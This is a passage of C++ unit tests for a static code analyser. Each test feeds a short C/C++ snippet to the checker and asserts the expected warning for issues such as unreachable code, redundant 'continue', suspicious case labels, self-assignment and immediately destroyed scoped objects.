errout_str());\n\n check(\"void f() {\\n\"\n \" do {\\n\"\n \" break;\\n\"\n \" g();\\n\"\n \" } while (0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Statements following 'break' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12244\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int c) {\\n\"\n \" switch (c) {\\n\"\n \" case '\\\\n':\\n\"\n \" { return 1; };\\n\"\n \" default:\\n\"\n \" { return c; };\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char *argv[]) {\\n\" // #11\n \" switch (argc) {\\n\"\n \" case 0: {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\"\n \"[test.cpp:1:26]: (style) Parameter 'argv' can be declared as const array [constParameter]\\n\",\n errout_str());\n\n check(\"int f(int i) {\\n\" // #13491\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" {\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int a[1];\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" a[0] = 5;\\n\"\n \" return a[0] + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" dostuff();\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", \"\", errout_str());\n\n check(\"int f() {\\n\" // #13472\n \" int var;\\n\"\n \" auto int ret();\\n\"\n \" int ret() {\\n\"\n \" return var;\\n\"\n \" }\\n\"\n \" var = 42;\\n\"\n \" return ret();\\n\"\n \"}\\n\", /*cpp*/ false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #13516\n \" io_uring_for_each_cqe(&ring, head, cqe) {\\n\"\n \" if (cqe->res == -EOPNOTSUPP)\\n\"\n \" printf(\\\"error\\\");\\n\"\n \" goto ok;\\n\"\n \" }\\n\"\n \" usleep(10000);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantContinue() {\n check(\"void f() {\\n\" // #11195\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\"\n \" do {\\n\"\n \" ++i;\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" } while (i < 10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\" // #13544\n \" switch (x) {\\n\"\n \" case 1: {\\n\"\n \" return y != 0;\\n\"\n \" int z = y + 5;\\n\"\n \" return z != 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n }\n\n\n void suspiciousCase() {\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B:\\n\"\n \" foo();\\n\"\n \" case (A||B):\\n\"\n \" foo();\\n\"\n \" case A||B:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '&&' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:5:16]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:7:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case 1:\\n\"\n \" a=A&&B;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B?B:A:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\"), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousEqualityComparison() {\n check(\"void foo(int c) {\\n\"\n \" if (x) c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(const int* c) {\\n\"\n \" if (x) *c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n\n check(\"void foo(int c) {\\n\"\n \" if (c == 1) {\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" c == 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i == 10; i ++) {\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 0; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 1; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 2; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i < 10; i == c) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (; running == 1;) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" printf(\\\"%i\\\", ({x==0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int arg) {\\n\"\n \" printf(\\\"%i\\\", ({int x = do_something(); x == 0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" printf(\\\"%i\\\", ({x == 0; x > 0 ? 10 : 20}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (const Token* end = tok->link(); tok != end; tok = (tok == end) ? end : tok->next()) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = (x == 0) ? 0 : 5; i < 10; i ++) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = 0; i < 10; i += (x == 5) ? 1 : 2) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousUnaryPlusMinus() { // #8004\n check(\"int g() { return 1; }\\n\"\n \"void f() {\\n\"\n \" +g();\\n\"\n \" -g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\"\n \" +i;\\n\"\n \" -i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n }\n\n void suspiciousFloatingPointCast() {\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + (float)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + static_cast(b) + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"long double f(long double a, long double b, float c) {\\n\"\n \" return a + (double)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"void g(int, double);\\n\"\n \"void h(double);\\n\"\n \"void f(double d) {\\n\"\n \" g(1, (float)d);\\n\"\n \" h((float)d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\"\n \"[test.cpp:5:7]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\",\n errout_str());\n }\n\n void selfAssignment() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"struct A { int b; };\\n\"\n \"void foo(A* a1, A* a2) {\\n\"\n \" a1->b = a1->b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'a1->b' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"int x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" x = x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4073 (segmentation fault)\n check(\"void Foo::myFunc( int a )\\n\"\n \"{\\n\"\n \" if (a == 42)\\n\"\n \" a = a;\\n\"\n \"}\");\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int *x = getx();\\n\"\n \" *x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" BAR *x = getx();\\n\"\n \" x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #2502 - non-primitive type -> there might be some side effects\n check(\"void foo()\\n\"\n \"{\\n\"\n \" Fred fred; fred = fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x == 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x != 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #3001 - false positive\n check(\"void foo(int x) {\\n\"\n \" x = x ? x : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3800 - false negative when variable is extern\n check(\"extern int i;\\n\"\n \"void f() {\\n\"\n \" i = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'i' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4291 - id for variables accessed through 'this'\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"void Foo::func() {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Redundant assignment of 'this->var' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func(int var);\\n\"\n \"};\\n\"\n \"void Foo::func(int var) {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6406 - designated initializer doing bogus self assignment\n check(\"struct callbacks {\\n\"\n \" void (*s)(void);\\n\"\n \"};\\n\"\n \"void something(void) {}\\n\"\n \"void f() {\\n\"\n \" struct callbacks ops = { .s = ops.s };\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (style) Redundant assignment of 'something' to itself.\\n\", \"\", errout_str());\n\n check(\"class V\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" V()\\n\"\n \" {\\n\"\n \" x = y = z = 0.0;\\n\"\n \" }\\n\"\n \" V( double x, const double y_, const double &z_)\\n\"\n \" {\\n\"\n \" x = x; y = y; z = z;\\n\"\n \" }\\n\"\n \" double x, y, z;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:18]: (style) Redundant assignment of 'y' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:25]: (style) Redundant assignment of 'z' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void f(int i) { i = !!i; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int x = 1;\\n\"\n \" int &ref = x;\\n\"\n \" ref = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Redundant assignment of 'ref' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\" // #9850\n \" int i{};\\n\"\n \" void modify();\\n\"\n \" void method() {\\n\"\n \" Foo copy = *this;\\n\"\n \" modify();\\n\"\n \" *this = copy;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11383\n \" void f() {\\n\"\n \" int x = 42;\"\n \" auto l2 = [i = i, x, y = 0]() { return i + x + y; };\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10337\n \" int b[2] = { 1, 2 };\\n\"\n \" int idx = 0;\\n\"\n \" int& i = b[idx];\\n\"\n \" idx++;\\n\"\n \" i = b[idx];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\" // #12390\n \"void f() {\\n\"\n \" int o = s.i;\\n\"\n \" g(&s.i);\\n\"\n \" s.i = o;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac1132() {\n check(\"class Lock\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Lock(int i)\\n\"\n \" {\\n\"\n \" std::cout << \\\"Lock \\\" << i << std::endl;\\n\"\n \" }\\n\"\n \" ~Lock()\\n\"\n \" {\\n\"\n \" std::cout << \\\"~Lock\\\" << std::endl;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" Lock(123);\\n\"\n \" std::cout << \\\"hello\\\" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:15:5]: (style) Instance of 'Lock' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac3693() {\n check(\"struct A{\\n\"\n \" enum {\\n\"\n \" b = 300\\n\"\n \" };\\n\"\n \"};\\n\"\n \"const int DFLT_TIMEOUT = A::b % 1000000 ;\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction1() {\n check(\"int main ( )\\n\"\n \"{\\n\"\n \" CouldBeFunction ( 123 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction2() {\n check(\"struct error {\\n\"\n \" error() {}\\n\"\n \"};\\n\"\n \"\\n\"\n \"class parser {\\n\"\n \"public:\\n\"\n \" void error() const {}\\n\"\n \"\\n\"\n \" void foo() const {\\n\"\n \" error();\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectPicksClass() {\n check(\"class NotAFunction ;\\n\"\n \"int function ( )\\n\"\n \"{\\n\"\n \" NotAFunction ( 123 );\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAFunction' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectPicksStruct() {\n check(\"struct NotAClass;\\n\"\n \"bool func ( )\\n\"\n \"{\\n\"\n \" NotAClass ( 123 ) ;\\n\"\n \" return true ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAClass' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickIf() {\n check(\"bool func( int a , int b , int c )\\n\"\n \"{\\n\"\n \" if ( a > b ) return c == a ;\\n\"\n \" return b == a ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickConstructorDeclaration() {\n check(\"class Something : public SomethingElse\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"~Something ( ) ;\\n\"\n \"Something ( ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunctor() {\n check(\"class IncrementFunctor\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void operator()(int &i)\\n\"\n \" {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int a = 1;\\n\"\n \" IncrementFunctor()(a);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickLocalClassConstructors() {\n check(\"void f() {\\n\"\n \" class Foo {\\n\"\n \" Foo() { }\\n\"\n \" Foo(int a) { }\\n\"\n \" Foo(int a, int b) { }\\n\"\n \" };\\n\"\n \" Foo();\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickUsedObject() {\n check(\"struct Foo {\\n\"\n \" void bar() {\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"void fn() {\\n\"\n \" Foo().bar();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickPureC() {\n // Ticket #2352\n const char code[] = \"struct cb_watch_bool {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" cb_watch_bool();\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'cb_watch_bool' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(code, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2639\n check(\"struct stat { int a; int b; };\\n\"\n \"void stat(const char *fn, struct stat *);\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" stat(\\\"file.txt\\\", &st);\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"struct AMethodObject {\\n\" // #4336\n \" AMethodObject(double, double, double);\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" static void A(double, double, double);\\n\"\n \"};\\n\"\n \"void S::A(double const a1, double const a2, double const a3) {\\n\"\n \" AMethodObject(a1, a2, a3);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\",errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickNestedClass() {\n const char code[] = \"class ios_base {\\n\"\n \"public:\\n\"\n \" class Init {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class foo {\\n\"\n \"public:\\n\"\n \" foo();\\n\"\n \" void Init(int);\\n\"\n \"};\\n\"\n \"foo::foo() {\\n\"\n \" Init(0);\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectInConstructor() {\n const char code[] = \"class Foo {\\n\"\n \"public:\\n\"\n \" Foo(char x) {\\n\"\n \" Foo(x, 0);\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \" Foo(char x, int y) { }\\n\"\n \"};\\n\";\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectStandardType() {\n check(\"int g();\\n\"\n \"void f(int i) {\\n\"\n \" int();\\n\"\n \" int(0);\\n\"\n \" int( g() );\\n\" // don't warn\n \" int{};\\n\"\n \" int{ 0 };\\n\"\n \" int{ i };\\n\"\n \" int{ g() };\\n\" // don't warn\n \" g();\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:7:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:8:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"void f(int j) {\\n\"\n \" for (; bool(j); ) {}\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g() {\\n\"\n \" float (f);\\n\"\n \" float (*p);\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" void();\\n\"\n \" return i;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectNamespace() {\n check(\"namespace M {\\n\" // #4779\n \" namespace N {\\n\"\n \" struct S {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int f() {\\n\"\n \" M::N::S();\\n\"\n \" return 0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:7:11]: (style) Instance of 'M::N::S' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10057\n \" std::string(\\\"abc\\\");\\n\"\n \" std::string{ \\\"abc\\\" };\\n\"\n \" std::pair(1, 2);\\n\"\n \" (void)0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:3:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:10]: (style) Instance of 'std::pair' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #10083\n \" void f() {\\n\"\n \" std::lock_guard(m);\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" std::mutex m;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Instance of 'std::lock_guard' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:9:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"namespace {\\n\"\n \" S s() { return ::S{42}; }\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectAssignment() { // #11371\n check(\"struct S;\\n\"\n \"S f();\\n\"\n \"S& g();\\n\"\n \"S&& h();\\n\"\n \"S* i();\\n\"\n \"void t0() { f() = {}; }\\n\"\n \"void t1() { g() = {}; }\\n\"\n \"void t2() { h() = {}; }\\n\"\n \"void t3() { *i() = {}; }\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:6:19]: (style) Instance of 'S' object is destroyed immediately, assignment has no effect. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac2084() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct sigaction sa;\\n\"\n \"\\n\"\n \" { sigaction(SIGHUP, &sa, 0); };\\n\"\n \" { sigaction(SIGINT, &sa, 0); };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac2071() {\n check(\"void f() 